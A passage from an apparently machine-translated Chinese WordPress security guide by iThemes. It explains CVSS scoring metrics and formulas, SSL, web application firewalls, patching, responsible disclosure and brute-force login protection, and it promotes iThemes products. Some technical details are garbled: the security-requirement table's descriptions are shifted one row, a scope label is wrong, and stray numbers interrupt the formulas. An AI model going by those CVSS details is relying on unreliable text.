      如果您不认识电子邮件的发件人,则不应下载电子邮件中包含的任何附件,因为它可能包含恶意软件并感染您的计算机。 如果电子邮件声称来自企业,您可以在打开任何附件之前 Google 其联系信息以验证电子邮件是从他们发送的。

      如果电子邮件包含链接,您可以将鼠标悬停在链接上,以验证 URL 是否将您发送到应有的位置。
    4. 当心紧急请求——诈骗者常用的伎俩是制造紧迫感。 恶意电子邮件可能会产生需要立即采取行动的场景。 您思考的时间越多,您就越有可能识别出该请求来自骗子。

      您可能会收到“老板”发来的电子邮件,要求您尽快向供应商付款,或者收到银行的电子邮件,通知您您的帐户已被黑客入侵,需要立即采取行动。

    如何衡量 WordPress 漏洞的严重程度

    有几种类型的 WordPress 漏洞,都具有不同程度的风险。 幸运的是,国家漏洞数据库——美国国家科学技术研究院的一个项目——有一个漏洞评分系统计算器来确定漏洞的风险。

    WordPress 漏洞指南的这一部分将涵盖漏洞评分系统的指标和严重性级别。 虽然本节更具技术性,但一些用户可能会发现它有助于加深他们对如何评估 WordPress 漏洞及其严重性的理解。

    常见的 WordPress 漏洞评分系统指标

    漏洞评分系统的等式使用三组不同的评分来确定总体严重性评分。

    1. 基本指标

    基本指标组代表在用户环境中保持不变的漏洞特征。

    基本指标分为两组,可利用性和影响。

    1.1. 可利用性指标

    可利用性分数基于攻击者利用该漏洞的难度。 分数是使用 5 个不同的变量计算的。

    1.1.1. 攻击向量 (AV)

    攻击向量分数基于利用漏洞的方法。 攻击者利用漏洞的距离越远,得分越高。

    这个想法是,与需要物理访问设备漏洞利用的漏洞相比,如果该漏洞可以通过网络利用,则潜在攻击者的数量将会更多。

    潜在攻击者越多,被利用的风险就越大,因此漏洞的攻击向量得分会越高。

    需要访问描述
    网络 (N) 可通过网络利用的漏洞 访问意味着易受攻击的组件可远程利用
    相邻网络 (AV:A) 可通过相邻网络利用的漏洞 访问意味着易受攻击的组件绑定到网络堆栈。 但是,攻击仅限于相同的共享物理或逻辑网络。
    本地 (AV:L) 一个可利用 Local 的漏洞 访问意味着易受攻击的组件未绑定到网络堆栈。 在某些情况下,攻击者可能在本地登录以利用该漏洞,或者可能依靠用户交互来执行恶意文件。
    物理 (AV:P) 可利用 Physical 的漏洞 使用权 要求攻击者物理接触或操纵易受攻击的组件,例如将外围设备连接到系统。
    1.1.2. 攻击复杂度 (AC)

    复杂性值基于利用漏洞所需的条件。 某些情况可能需要收集有关目标、某些系统配置设置的存在或计算异常的更多信息。

    利用漏洞所需的复杂性越低,攻击复杂性得分越高。

    利用条件复杂性说明
    低 (L) 不存在专门的访问条件或情有可原的情况。 攻击者可以期望针对易受攻击的组件取得可重复的成功。
    高 (H) 成功的攻击取决于攻击者无法控制的条件。 成功的攻击不能随意完成,但需要攻击者在预期成功攻击之前投入一些可衡量的努力来准备或执行针对易受攻击的组件。
    1.1.3. 所需权限 (PR)

    特权要求分数是根据攻击者在利用漏洞之前必须获得的特权来计算的。 我们将在 Authenticated vs. Unauthenticated 部分深入探讨这一点。

    如果不需要特权,分数将是最高的。

    需要权限级别描述
    无 (N) 攻击者在攻击之前是未经授权的,因此不需要访问任何设置或文件来执行攻击。
    低 (L) 攻击者被授权提供基本用户功能的权限,这些功能通常只能影响用户拥有的设置和文件。 或者,具有低权限的攻击者可能仅对非敏感资源造成影响。
    高 (H) 攻击者被授权(即需要)特权,这些特权对可能影响组件范围设置和文件的易受攻击的组件提供重要(例如,管理)控制。
    1.1.4. 用户交互 (UI)

    用户交互分数是根据漏洞是否需要用户交互才能利用来确定的。

    当攻击者无需用户交互即可利用该漏洞时,得分最高。

    用户交互需求描述
    无 (N) 可以在没有任何用户交互的情况下利用易受攻击的系统。
    必需 (R) 成功利用此漏洞需要用户采取一些措施才能利用该漏洞,例如说服用户单击电子邮件中的链接。
    1.1.5. 范围

    范围评分基于一个软件组件中的漏洞,以影响超出其安全范围的资源。

    安全范围包含仅向该组件提供功能的其他组件,即使这些其他组件具有自己的安全权限。

    当范围发生变化时得分最高。

    范围描述
    不变 (U) 被利用的漏洞只能影响由同一权限管理的资源。 在这种情况下,易受攻击的组件和受影响的组件是相同的。
    改变 (U) 被利用的漏洞可能会影响超出易受攻击组件预期授权权限的资源。 在这种情况下,易受攻击的组件和受影响的组件是不同的。
    1.2. 影响指标

    影响指标捕捉成功利用漏洞的直接影响。

    1.2.1. 机密影响 (C)

    此机密影响分数衡量对被利用软件管理的信息的机密性的影响。

    当受影响软件的损失最高时,得分最高。

    保密影响描述
    高 (H) 完全失去机密性,导致被利用软件中的所有资源都被泄露给攻击者。
    低 (L) 有一些机密性的损失。 攻击者获得了一些受限信息的访问权限。
    无 (N) 被利用的软件不会丢失机密性。
    1.2.2. 诚信(一)

    该完整性评分基于成功利用漏洞对完整性的影响。

    当受影响软件的后果最大时,得分最高。

    完整性影响描述
    高 (H) 完全丧失完整性或完全丧失保护。
    低 (L) 数据修改不会对受影响的软件产生直接、严重的影响。
    无 (N) 受影响的软件不会丢失完整性。
    1.2.3. 可用性 (A)

    可用性分数基于被利用软件的可用性的影响。

    当受影响组件的后果最大时,得分最高。

    可用性影响描述
    高 (H) 完全丧失可用性,导致攻击者完全拒绝访问被利用软件中的资源。
    低 (L) 性能降低或资源可用性中断。
    无 (N) 对受影响软件内的可用性没有影响。
    基础分数 CVSS 分数计算

    基本分数是影响和可利用性子分数方程的函数。 其中基本分数定义为,

     If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
    2. 时间分数指标

    时间指标衡量漏洞利用技术的当前状态、是否存在任何补丁或变通方法,或者人们对漏洞描述的信心。

    时间指标预计会并且会随着时间而改变。

    2.1. 漏洞利用代码成熟度 (E)

    漏洞利用代码的成熟度基于漏洞被攻击的可能性。

    漏洞越容易被利用,漏洞得分就越高。

    漏洞利用代码成熟度值描述
    未定义 (X) 将此值分配给指标不会影响分数。 这是评分方程跳过此指标的信号。
    高 (H) 存在功能性自治代码,或者不需要利用,并且可以广泛获得详细信息。
    功能性 (F) 功能漏洞利用代码可用。 该代码适用于存在漏洞的大多数情况。
    概念验证 (P) 概念验证漏洞利用代码可用,或者攻击演示对大多数系统不实用。
    未经证实 (U) 没有可用的漏洞利用代码,或者漏洞利用完全是理论上的。
    2.2. 修复级别 (RL)

    漏洞的修复级别是确定优先级的重要因素。 变通方法或修补程序可能会提供临时修复,直到发布正式补丁或升级。

    修复越不正式和永久,漏洞得分越高。

    修复级别值描述
    未定义 (X) 未定义的修复值意味着没有足够的信息来选择其他修复值之一。 Not Defined 的值对整体 Temporal Score 没有影响,对得分的影响与 Unavailable 相同。
    不可用 (U) 没有可用的解决方案。
    解决方法 (W) 可以使用非官方的非供应商解决方案。 例如,用户或其他一些第三方创建了补丁或解决方法来缓解漏洞。
    临时修复 (T) 可用的官方但临时修复。 例如,软件开发人员发布了临时修补程序或提供了一种解决方法来缓解漏洞。
    官方修复 (O) 软件开发商已经针对该漏洞发布了官方补丁。
    2.3. 报告置信度 (RC)

    报告置信度指标衡量漏洞存在的置信度以及技术细节的可信度。

    供应商或其他信誉良好的来源验证的漏洞越多,得分就越高。

    报告置信度值描述
    未定义 (X) 未定义的报告置信度值意味着没有足够的信息来分配其他置信度值之一。 未定义的值对整体报告置信度得分没有影响,对得分的影响与不可用相同。
    确认 (C) 一份详细的报告包含如何利用漏洞的概念,或者软件开发人员已确认该漏洞的存在。
    合理 (R) 存在包含重要细节的报告,但研究人员对根本原因并不完全有信心,或者无法完全确认可能导致漏洞利用的每个交互。 但是,该错误是可重现的,并且至少存在一个概念证明。
    未知 (U) 有影响的报告表明存在漏洞,但漏洞的原因尚不清楚。
    时间 CVSS 分数计算

    时间分数定义为,

     Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
    3. 环境评分指标

    环境指标允许分析师根据受影响 IT 资产的重要性自定义 CVSS 评分。

    环境可利用性和影响度量是基本度量的修改等效项,并根据组织基础架构的组件放置分配值。 请参阅上述基本指标部分以查看可利用性和影响指标的值和说明。

    环境指标包含一个额外的组,Impact Subscore Modifiers。

    3.1. 影响子分数修正指标

    Impact Subscore Modifiers 指标评估机密性 (CR)、完整性 (IR) 和可用性 (AR) 的特定安全要求,允许根据用户环境对环境评分进行微调。

    影响分值描述
    未定义 (CR:X) 丢失(机密性/完整性/可用性)可能对组织的影响有限。
    低 (CR:L) 丢失(机密性/完整性/可用性)可能会对组织产生严重影响。
    中 (CR:M) 丢失(机密性/完整性/可用性)可能对组织产生灾难性的影响。
    高 (CR:H) 这是忽略此分数的信号。
    环境 CVSS 分数计算

    环境得分定义为,

     If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

    总体 CVSS 分数和严重性

    总体常见漏洞评分系统或 CVSS 分数是基础、时间和环境分数的表示。

    总体 CVSS 分数可用于让您了解漏洞的严重程度。

    CVSS 分数严重性
    0.0 没有任何
    0.1 – 3.9 低的
    4.0 – 6.9 中等的
    7.0 – 8.9 高的
    9.0 – 10.0 危急
    真实世界 CVSS 严重性评级示例

    在 2020 年 12 月的漏洞综述中,我们报告了 Easy WP SMTP 插件中的一个漏洞。 零日漏洞(我们将在下一节介绍零日漏洞)漏洞允许攻击者控制管理员帐户并被广泛利用。

    查看国家漏洞数据库条目,我们可以找到 WP SMTP 漏洞的严重性等级。

    让我们从上面的 WP SMTP NVDB 屏幕截图中分解几件事。

    基础评分:基础评分为 7.5,这表明该漏洞的严重性等级很高。

    向量:向量告诉我们分数是基于 CVSS 3.1 漏洞方程和用于计算分数的指标。

    这是向量的度量部分。

     AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    现在让我们使用本文前面的基本度量值和描述来了解向量的八个度量值。

    1. AV:N – 这意味着漏洞的攻击向量 (AV) 是网络 (N)。 换句话说,攻击者只需要访问网络即可利用该漏洞。
    2. AC:L – 漏洞的攻击复杂性 (AC) 低 (L)。 换句话说,任何脚本小子都可以利用该漏洞。
    3. PR:N – 利用该漏洞所需的特权 (PR) 为无 (N)。 因此,该漏洞不需要经过身份验证的用户即可利用。 (我们将在本文后面介绍经过身份验证和未经身份验证的漏洞之间的区别。)
    4. UI:N – 利用此漏洞所需的用户交互 (UI) 为无 (N)。 因此,攻击者有办法自行利用该漏洞。
    5. S:U – 这意味着漏洞的范围 (S) 是不变的 (U)。 在此漏洞的情况下,易受攻击的组件和受影响的组件是相同的。
    6. C:H – 漏洞的机密性影响 (C) 为高 (H)。 当此漏洞被利用时,会导致机密性完全丧失。
    7. I:N – 此漏洞的完整性影响 (I) 为无 (N)。 当漏洞被利用时,漏洞信息的完整性或可信度不会丢失。
    8. A:N – 这意味着可用性影响 (A) 为无 (N)。 当漏洞被利用时,不会对您网站的可用性产生影响。

    CVSS 分数可以帮助我们确定任何给定漏洞的严重性和范围。 在接下来的几节中,我们将介绍一些经常包含在漏洞披露中的重要漏洞术语。

    包起来

    在本节中,我们了解了 WordPress 安全的几个重要元素,包括黑客的动机、不同类型的黑客、网络犯罪分子利用的漏洞、如何降低漏洞风险,以及如何确定漏洞对您造成的风险。网站。

    了解攻击者如何在入侵我们的网站后尝试入侵我们的网站及其目标,使我们能够建立适当的防御措施。

    在接下来的部分中,您将了解如何保护您的网站免受黑客可能向您发起的几乎所有类型的攻击。

    第 4 部分:保护您的服务器

    WordPress 安全策略的第一步是保护您的服务器。 您的服务器存储使您的网站运行的所有文件和代码。

    在本节中,您将学习:

    1. 选择一个好的主机的重要性。
    2. 如何加密您网站上的通信。
    3. 防火墙如何帮助保护您的站点。

    选择合适的主机

    并非所有的网络主机都是平等的,从长远来看,由于 WordPress 安全问题,仅根据价格选择一个主机可能会让您付出更多代价。 大多数共享托管环境是安全的,但有些没有充分分离用户帐户。

    您的主机应该警惕应用最新的安全补丁并遵循与服务器和文件安全相关的其他重要的托管 WordPress 安全最佳实践。 您的主机应该警惕应用最新的安全补丁并遵循与服务器和文件安全相关的其他重要的主机安全最佳实践。

    使用 SSL 加密您的 WordPress 网站

    安全套接字层,也称为 SSL,是一种在客户端和网络服务器之间提供加密的安全技术。 为了更简单地理解这一点,“客户端”是像 Chrome 或 Safari 这样的网络浏览器,而“网络服务器”是您的网站或在线商店。

    判断您访问的网站是否安装了 SSL 证书的一种简单方法是查看浏览器的地址栏,查看 URL 是以 HTTP 还是 HTTPS 开头。 如果 URL 以 HTTPS 开头,则您可以安全地浏览使用 SSL 的站点。

    为什么 SSL 如此重要?

    2021 年没有SSL 证书是很昂贵的。 为什么? 如果您的网站没有启用 SSL,潜在客户将更难发现您的存在,而那些找到您网站的人可能会害怕给您钱。

    每当我们进行在线购买时,您的浏览器和在线商店之间都会发生通信。 例如,当我们在浏览器中输入信用卡号时,浏览器将与在线商店共享该号码。 商店收到付款后,它会告诉您的浏览器让您知道购买成功。

    关于我们的浏览器和商店服务器之间共享的信息,需要记住的一件事是信息在传输过程中会经过多次停靠。 SSL 为通信提供加密,以确保我们的信用卡在到达商店服务器的最终目的地之前不会被看到。

    为了更好地了解加密的工作原理,请考虑我们的购买是如何交付的。 如果您曾经跟踪过在线购买的交付状态,您就会发现您的订单在到达您家之前停了几次。 如果卖家没有正确包装您购买的商品,人们很容易看到您购买的商品。

    SSL 是防止不法分子拦截客户端和网络服务器之间共享的密码和信用卡号等敏感信息的重要工具。

    为什么每个网站都必须拥有 SSL 证书?

    您在网站上拥有 SSL 证书所获得的 WordPress 安全优势足以使其成为任何网站的必备品。 然而,为了鼓励每个人保护他们的网站访问者,网络浏览器和搜索引擎创造了消极的激励措施来鼓励每个人使用 SSL。 在本节中,我们将介绍未在您的网站上启用 SSL 的代价高昂的后果。

    1. 未启用 SSL 会损害您的 SEO 排名

    搜索引擎优化或 SEO 是优化您的网站以通过搜索引擎结果页面有机地发现的过程。 SEO 的好处是它是您增加网站自然流量和未付费流量的绝佳方式。 如果您销售面包烘焙课程,您希望您的网站出现在搜索 Google 的搜索结果的第一页,或者 Duck Duck Go 搜索面包烘焙课程。

    如果您的网站未启用 SSL,搜索引擎将惩罚您并降低您的排名。 谷歌用来在搜索结果中对网站进行排名的指标之一是可信度。 不让用户访问不安全的网站是 Google 的最大利益,因此可信度在其排名算法中占很大比重。 SSL 增加了如此多的安全性,它是 Google 如何对网站的可信度进行评分的重要组成部分。

    2. 浏览器将非 SSL 站点标记为不安全

    不启用 SSL 的另一种方式会让您付出代价,即访问者的浏览器会警告他们您的网站不安全。 正如我们前面所提到的,在你安装在您的网站的SSL证书,您的网址将形式为http改变://yourwebsite.com到https:// yourwebsite / COM。 例如,Chrome 将使用锁定的挂锁将 HTTPS 加密的网页标记为安全。 或者,Chrome 会将所有 HTTP 非加密网页的锁定挂锁替换为文本Not Secure

    我不会在浏览器标记为不安全的网站上购物,而且我不是唯一不会这样做的人。 根据 GlobalSign 的一项研究,85% 的在线购物者会避开不安全的网站。 请记住,在 2021 年,让您的所有网站都使用 HTTPS 而不仅仅是您的登录和结帐页面至关重要。 如果商店页面被其 Web 浏览器标记为“不安全”,则潜在客户可能无法进行安全结账。

    3. 你可能会失去潜在客户

    保护您的客户是在您的网站上启用 SSL 的重要原因。 如果他们愿意将他们的业务委托给您,您至少可以通过使用加密的力量保护他们来回报这种信任。

    如果由于您的网站缺乏加密,黑客可以窃取您客户的信用卡详细信息,您不仅会失去他们的信任,还会失去他们未来的任何业务。

    如何判断我的网站是否启用了 SSL?

    判断您的网站是否安装了 SSL 证书的一种简单方法是查看浏览器的地址栏中,查看 URL 是以 HTTP 还是 HTTPS 开头。 如果 URL 以 HTTPS 开头,则您的网站使用 SSL 进行保护。

    您还可以使用 SSL 检查器,例如 SSL Labs。 SSL 检查器将扫描您的站点以获取 SSL 证书,并会在您的 SSL 证书设置为过期时通知您。

    如何在我的 WordPress 网站上安装 SSL 证书?

    如果您的 WordPress 网站缺少 SSL,您应该做的第一件事就是询问您的托管服务提供商,看看他们是否提供免费的 SSL 证书和配置。 2021 年,大多数托管公司在其托管包中包含 SSL。 例如,iThemes Hosting 为每个网站提供和管理 SSL。

    如果您的主机没有为您提供免费的 SSL 证书,请不要担心,还有很多其他选择。

    Cloudflare 为 WordPress 网站提供免费的共享 SSL 证书。 如果您不想拥有共享的 SSL 证书并且您对命令行感到满意,那么 CertBot 是一个很好的选择。 Certbot 不仅会使用 Let's Encrypt 为您创建免费的 SSL 证书,还会自动为您管理证书的更新。

    2021 年必须在您的 WordPress 网站上启用 SSL。SSL 可以保护您与客户之间的通信,改进您的 SEO,并让您网站的访问者在浏览您的网站时感到安全。

    使用 Web 应用程序防火墙

    使用 Web 应用程序防火墙是为 WordPress 网站添加另一层保护的好方法。

    什么是 Web 应用程序防火墙?

    WAF 或 Web 应用程序防火墙通过在访问您的网站之前监控前往您网站的互联网流量来帮助保护您的网站。

    通过在 WordPress 前面添加 WAF,您将在 Internet 和您的网站之间添加一个安全检查点。 在流量可以访问您的网站之前,它必须通过 WAF。

    如果 WAF 检测到任何恶意流量(例如 CSRF、XSS、SQL 注入等),它会在它访问您的网站之前将其过滤掉。 不仅如此,WAF 还可以帮助检测 DDoS 攻击并实施速率限制以防止您的网站崩溃。

    WordPress 安全 Web 应用程序防火墙

    实现 WAF 的 3 种方法

    有 3 种不同的方式可以实现 WAF。 让我们来看看每种类型的优缺点。

    1. 基于网络的 WAF基于网络或物理的 WAF 是基于硬件的。 基于网络的 WAF 的主要优点是来自本地安装的低延迟。 但是,弊端来自物理设备的存储和维护价格。 价格和物理存储要求使其成为大多数人的糟糕选择。
    2. 基于主机的 WAF基于主机或本地的 WAF 集成到 WordPress 中,通常使用插件。 基于主机的 WAF 的优点是它比基于网络的 WAF 便宜。 本地 WAF 的缺点是您的服务器资源的要求。 随着您网站上发生的流量过滤,它可能会导致您网站访问者的页面加载时间变慢。
    3. 基于云的 WAF——基于云的 WAF 通常是大多数人的最佳选择。 基于云的 WAF 的优点是价格实惠,不需要您管理它。 另外,在流量到达您的网站之前对其进行过滤,它不会占用您的服务器资源并减慢您的网站速度。 Cloudflare 和 Sucuri 是流行的基于云的防火墙提供商。

    包起来

    在本节中,我们了解了为什么选择合适的主机如此重要,如何保护我们的网站与其访问者之间的通信,以及 WAF 如何帮助阻止恶意流量访问我们的网站。

    在接下来的部分中,您将学习确保 WordPress 软件安全的最佳实践。

    第 5 部分:WordPress 软件安全性部分

    每次安装新插件或主题时,都会引入可能被黑客利用的新代码。 在本节中,您将了解管理 WordPress、插件和主题的注意事项。

    1. 只安装来自可信来源的软件

    只安装来自可信来源的 WordPress 插件和主题。 您应该只安装从 WordPress.org、知名商业存储库或直接从信誉良好的开发人员那里获得的软件。 您将希望避免使用“无效”版本的商业插件,因为它们可能包含恶意代码。 如果您是安装恶意软件的人,那么您如何锁定 WordPress 网站并不重要。

    如果 WordPress 插件或主题未在开发人员的网站上分发,则您需要在下载插件之前进行尽职调查。 联系开发人员,看看他们是否与以免费或折扣价提供其产品的网站有任何关联。

    2. 删除未使用的插件和主题

    在您的网站上放置未使用或不活动的插件和主题是 WordPress 的一个主要安全错误。 您网站上的每一段代码都是黑客的潜在切入点。

    开发人员在他们的插件和主题中使用第三方代码(如 JS 库)是常见的做法。 不幸的是,如果这些库没有得到妥善维护,它们可能会产生攻击者可以利用的漏洞来入侵您的网站。

    注意:使用 iThemes Sync Pro 站点审核来检查您的网页是否存在具有已知安全漏洞的前端 JavaScript 库。

    卸载并完全删除 WordPress 网站上任何不必要的插件和主题,以限制网站上的访问点和可执行代码的数量。

    3. 使您的 WordPress 软件保持最新

    保持软件更新是任何 WordPress 安全策略的重要组成部分。 更新不仅用于错误修复和新功能。 更新还可以包括关键的安全补丁。 如果没有该补丁,您的手机、计算机、服务器、路由器或网站就会容易受到攻击。

    拥有一个有补丁但未应用的易受攻击的插件或主题是被黑 WordPress 网站的罪魁祸首。 大多数漏洞被利用的漏洞的补丁之后,这意味着被释放。

    如果他们更新了他们的软件,那么高度报道的 Equifax 漏洞就可以避免。 对于 Equifax 漏洞,根本没有任何借口。

    像更新软件这样简单的事情就可以保护您。 所以不要忽视那些 WordPress 更新——更新是 WordPress 安全和所有网络安全的最基本组件之一。

    星期二补丁

    补丁星期二是非官方术语,指的是 Microsoft 在每个月的第二个星期二发布的常规错误和安全修复程序。 微软以如此可靠的节奏发布安全修复程序真是太棒了。 补丁星期二也是公开披露微软补丁的安全漏洞的日子。

    查看 2020 年 WordPress 安全终极指南电子书中的更新内容和如何自动更新部分,了解如何自动应用补丁星期二更新。

    利用星期三

    在补丁星期二之后的星期三,经常会看到许多攻击者在过时和未打补丁的系统上利用先前已知的漏洞。 因此,补丁星期二之后的星期三被非正式地称为利用星期三。

    为什么黑客会针对已修补的漏洞?

    黑客以修补漏洞为目标,因为他们知道人们不会更新(包括您网站上的插件和主题)。 在修补漏洞之日公开披露漏洞是行业标准。 漏洞被公开披露后,该漏洞将成为软件过时和未修补版本的“已知漏洞”。 具有已知漏洞的软件很容易成为黑客的目标。

    黑客喜欢简单的目标,并且拥有具有已知漏洞的软件就像向黑客提供分步说明以闯入您的 WordPress 网站、服务器、计算机或任何其他联网设备。

    负责任的披露

    您可能想知道为什么要披露一个漏洞,如果它为黑客提供了攻击的漏洞。 好吧,安全研究人员发现漏洞并将其私下报告给软件开发人员是很常见的。

    通过负责任的披露,研究人员的初始报告是私下向拥有该软件的公司的开发人员提交的,但同意在补丁发布后发布完整的详细信息。 对于重大安全漏洞,可能会稍微延迟披露漏洞,让更多人有时间修补。

    安全研究人员可以为软件开发人员提供一个截止日期以响应报告或提供补丁。 如果没有达到这个期限,那么研究人员可能会公开披露该漏洞,迫使开发者发布补丁。

    公开披露漏洞并看似引入零日漏洞(一种没有补丁且正在被广泛利用的漏洞)似乎适得其反。 但是,这是研究人员必须向开发人员施压以修补漏洞的唯一手段。

    如果黑客发现了该漏洞,他们可以悄悄地使用漏洞利用程序并对最终用户(也就是您)造成损害,而软件开发人员仍然满足于不修补漏洞。

    在披露漏洞方面,Google 的 Project Zero 也有类似的指导方针。 无论漏洞是否已修补,他们都会在 90 天后发布漏洞的完整详细信息。

    学习更新:艰难的道路

    2018 年底,黑客积极利用 WP GDPR 合规插件中的漏洞。 该漏洞允许未经授权的用户(未登录网站的人)修改 WP 用户注册设置并将默认的新用户角色从订阅者更改为管理员。 值得庆幸的是,WP GDPR 合规插件开发人员迅速采取行动,并在公开披露后的第二天发布了针对该漏洞的补丁。

    但是,就像漏洞利用星期三一样,即使已经发布了补丁,黑客还是瞄准了该漏洞。 在 WP GDPR 合规漏洞披露后的几天和几周内,我们收到了一系列报告,称 WordPress 网站被利用该漏洞的攻击者入侵。

    拥有一个有补丁但未应用的易受攻击的插件或主题是被黑 WordPress 网站的罪魁祸首。 这太令人沮丧了!!!!! 这意味着大多数 WP 黑客都可以被阻止。

    想想所有花费大量资金清理网站的人,他们在网站关闭时损失的收入,以及由于失去客户的信任而损失的未来收入,这令人沮丧。 当您知道通过简单的更新可以避免所有这些痛苦时,它会更加令人不安。

    iThemes Security Pro 版本管理功能可以自定义和自动化您的 WordPress 更新。

    4. 跟踪 WordPress 漏洞

    保持您的插件和主题更新不会保护您免受每个 WordPress 漏洞的影响。 一些 WordPress 插件和主题已被创建它们的开发人员放弃。

    不幸的是,如果一个废弃的插件或主题存在漏洞,它将永远不会得到补丁。 黑客将针对使用这些现在永久易受攻击的插件的网站。

    跟踪漏洞是拥有安全网站与黑客容易利用的网站之间的区别。

    如果您的网站上有一个带有已知漏洞的废弃插件,那么您就是在为黑客提供接管您网站所需的蓝图。 这就是为什么您必须跟踪所有最新漏洞的原因。

    很难跟踪每个已披露的 WordPress 漏洞并将该列表与您在网站上安装的插件和主题的版本进行比较。 跟踪漏洞是拥有安全网站与黑客容易利用的网站之间的区别。

    给你的好消息! 我们在 WordPress 漏洞综述中跟踪并分享每个已披露的漏洞。

    5. 扫描您的网站是否存在漏洞

    保护您的网站免受黑客攻击的更快方法是使用自动扫描来检查您的网站是否存在已知漏洞。

    iThemes Security Pro Site Scanner 是您在所有 WordPress 网站上自动化漏洞保护的方式。 站点扫描程序会检查您的站点是否存在已知漏洞,并会在可用时自动应用补丁。

    iThemes Security Pro 站点检查 3 种类型的漏洞。

    1. WordPress 漏洞
    2. 插件漏洞
    3. 主题漏洞

    iThemes Sync Pro 站点审核功能利用 Google Lighthouse 的强大功能来保护您的网站。 站点审核检查并标记包含具有已知安全漏洞的前端 JavaScript 库的页面。

    开发人员在他们的插件和主题中使用第三方代码(如 JS 库)是常见的做法。 不幸的是,如果这些库没有得到妥善维护,它们可能会产生攻击者可以利用的漏洞来入侵您的网站。 使用具有已知漏洞的组件在 OWASP Top 10 列表中。

    现场审核救了我的培根! 我创建了一个审计计划,让 Sync Pro 每周执行一次自动审计,并将审计报告通过电子邮件发送给我。 我保持所有更新,这就是为什么当我在我的网站审核中看到我使用具有已知安全漏洞的 JavaScript 库时感到震惊的原因。

    该报告向我指出了网站 WordPress 目录中的一个过时版本的 jQuery,其中散布着已知漏洞! 幸运的是,我在 Sync Pro Site Audit 中看到我使用了具有已知安全漏洞的 JavaScript 库,并且能够在我的网站遭到黑客攻击之前解决问题。

    包起来

    正确管理使您的网站运行的软件,包括您的 WordPress 插件、主题和 WordPress 核心,将对您的 WordPress 安全策略大有帮助,保护您的网站免受在线攻击者的侵害。

    第 6 部分:保护您的 WordPress 登录

    WordPress 登录 URL 对于每个 WordPress 站点都是相同的,并且不需要任何特殊权限即可访问。 任何有使用 WordPress 经验的人都知道登录 URL 位于/wp-login.php页面上。

    WordPress 登录页面的可访问性使其成为任何 WordPress 网站中受攻击最多——也可能是最容易受到攻击的部分。 对我们来说幸运的是,iThemes Security Pro 插件可以轻松保护您的 WordPress 登录。

    让我们来看看 iThemes Security Pro 中的工具,您可以使用它们来保护您的 WordPress 登录并使其几乎无法渗透!

    1. 限制登录尝试

    保护您的 WordPress 登录安全的第一步是限制失败的登录尝试。 默认情况下,WordPress 没有内置任何内容来限制某人可以进行的失败登录尝试次数。 攻击者可以进行的登录尝试失败次数没有限制,他们可以继续尝试不同用户名和密码的组合,直到找到一个有效的组合。

    iThemes Security Pro 本地暴力保护功能会跟踪主机或 IP 地址和用户名进行的无效登录尝试。 一旦 IP 或用户名连续进行过多次无效登录尝试,它们将被锁定,并在设定的时间段内无法再进行任何尝试。

    要开始使用本地暴力保护功能,请在 iThemes Security Pro 设置页面的主页上启用它。

    Local Brute Force Protection设置允许您设置锁定阈值。

    WordPress 安全本地暴力设置
    • Max Login Attempts Per Host – IP 被锁定之前允许的无效登录尝试次数。
    • Max Login Attempts Per User – 这是用户名在被锁定之前允许的无效登录尝试次数。
    • 记住错误登录的分钟数- 这是无效登录尝试应计入 IP 或用户名以进行锁定的时长。
    • 自动禁止“管理员”用户- 启用后,登录时使用管理员用户名的任何人都会收到自动锁定。

    在配置锁定设置时,您需要记住几件事。 您希望向用户提供移动无效登录尝试而不是提供 IP。 假设您的网站受到蛮力攻击并且攻击者使用您的用户名。 目标是锁定攻击者的 IP 而不是您的用户名,因此即使您的网站受到攻击,您仍然可以登录并完成工作。

    您也不希望通过将无效登录尝试次数设置得太低以及将记住无效尝试的时间设置得太长而使这些设置过于严格。 如果您将主机/IP 的无效登录尝试次数降低到 1,并将记住一次错误登录尝试的分钟数设置为一个月,则会大大增加无意中锁定合法用户的可能性。

    2. 限制每个请求的外部身份验证尝试

    除了使用登录表单之外,还有其他方法可以登录 WordPress。 使用 XML-RPC,攻击者可以在单个 HTTP 请求中进行数百次用户名和密码尝试。 蛮力放大方法允许攻击者在几个 HTTP 请求中使用 XML-RPC 进行数千次用户名和密码尝试。

    使用 iThemes Security Pro 的WordPress Tweaks设置,您可以阻止每个 XML-RPC 请求的多次身份验证尝试。 将每个请求的用户名和密码尝试次数限制为一次,将大大有助于保护您的 WordPress 登录。

    3. 网络暴力保护

    限制登录尝试完全是为了本地暴力保护。 本地蛮力保护仅查看访问您站点的尝试,并根据您的安全设置中指定的锁定规则禁止用户。

    网络蛮力保护更进一步。 该网络是 iThemes 安全社区,拥有超过一百万个强大的网站。 如果在 iThemes 安全社区中发现某个 IP 试图闯入网站,则该 IP 将被添加到 Network Bruce Force 禁止列表中。

